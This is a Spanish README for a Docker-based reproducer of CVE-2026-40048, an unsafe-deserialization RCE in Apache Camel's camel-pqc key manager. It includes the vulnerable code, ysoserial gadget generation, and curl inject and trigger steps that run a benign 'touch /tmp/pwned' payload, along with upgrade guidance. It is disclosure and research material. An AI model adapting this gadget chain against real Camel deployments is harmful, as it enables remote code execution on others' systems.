
Reproductor para CVE-2026-40048: deserialización insegura en FileBasedKeyLifecycleManager de Apache Camel camel-pqc (RCE)
Este proyecto demuestra una vulnerabilidad de deserialización en Java en el componente camel-pqc
de Apache Camel, registrada como CVE-2026-40048. FileBasedKeyLifecycleManager lee los archivos
<keyId>.key del directorio de claves configurado con un ObjectInputStream sin ningún
ObjectInputFilter, por lo que un atacante que pueda escribir en ese directorio puede lograr
ejecución remota de código.
Aviso: https://camel.apache.org/security/CVE-2026-40048.html
| Propiedad | Valor |
|---|---|
| Componente | camel-pqc |
| Clase afectada | org.apache.camel.component.pqc.lifecycle.FileBasedKeyLifecycleManager (getKey) |
| CWE | CWE-502: Deserialización de datos no confiables |
| Impacto | Ejecución remota de código (RCE) |
| Versiones afectadas | Desde 4.18.0 hasta antes de 4.18.2, y desde 4.19.0 hasta antes de 4.20.0 |
| Versiones corregidas | 4.18.2, 4.20.0 |
| JIRA | CAMEL-23200 |
| Investigadores | Andrea Cosentino (ASF), Venkatraman Kumar (Securin) |
FileBasedKeyLifecycleManager persiste las claves post-cuánticas como objetos Java serializados en
<keyDir>/<keyId>.key. La carga de una clave deserializa ese archivo con un ObjectInputStream sin
filtrar, y la conversión a KeyPair ocurre solo después de que readObject() retorna:
// FileBasedKeyLifecycleManager.getKey(keyId) - affected version
Path keyFile = getKeyFile(keyId); // keyDirectory.resolve(keyId + ".key")
try (ObjectInputStream ois = new ObjectInputStream(new BufferedInputStream(Files.newInputStream(keyFile)))) {
KeyPair keyPair = (KeyPair) ois.readObject(); // NO ObjectInputFilter — gadget runs before the cast
...
}
Un atacante que pueda escribir en el directorio de claves — mediante path traversal, permisos de volumen mal configurados, una cadena de aprovisionamiento de claves comprometida o un ataque de symlink — puede plantar un objeto serializado manipulado que se ejecute durante una carga normal del ciclo de vida de la clave.
mvn clean package -DskipTests
docker compose up -d --build
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar
# Benign proof: create /tmp/pwned. On JDK 21 add --add-opens to generate CC gadgets:
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED \
--add-opens java.base/java.lang.reflect=ALL-UNNAMED \
-jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64
<keyId>.keycurl -X POST http://localhost:8080/exploit/inject \
-H "Content-Type: text/plain" --data-binary @payload.b64
# writes the bytes to /tmp/pqc-keys/mykey.key inside the container
curl http://localhost:8080/exploit/trigger
# getKey("mykey") -> ObjectInputStream.readObject() -> gadget executes
# -> ">>> RCE proof — /tmp/pwned exists: true"
docker exec cve-2026-40048 ls -la /tmp/pwned
docker compose down
getKey() se invoca durante operaciones normales del ciclo de vida de la clave (recuperación de la
clave de firma/verificación, comprobaciones de rotación, etc.), por lo que cualquier carga de un
archivo <keyId>.key plantado por el atacante dispara la deserialización.
FileBasedKeyLifecycleManager
(volumen compartido/mal configurado, path traversal, aprovisionamiento comprometido, symlink).commons-collections:3.2.1).El patrón de ObjectInputStream en el almacén de claves se abordó de forma más amplia posteriormente:
Actualice a 4.18.2 / 4.20.0. La corrección reemplaza el almacenamiento basado en ObjectInputStream
con codificación JSON Base64 estándar PKCS#8 (clave privada) / X.509 SubjectPublicKeyInfo (clave pública).
Hasta actualizar:
CVE-2026-40048/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ └── ExploitController.java # /inject (plant .key), /trigger (getKey -> RCE), /cleanup
└── resources/
└── application.properties
Este reproductor se proporciona únicamente para investigación de seguridad y pruebas autorizadas, para una vulnerabilidad divulgada públicamente y corregida. No lo utilice contra sistemas sin permiso explícito.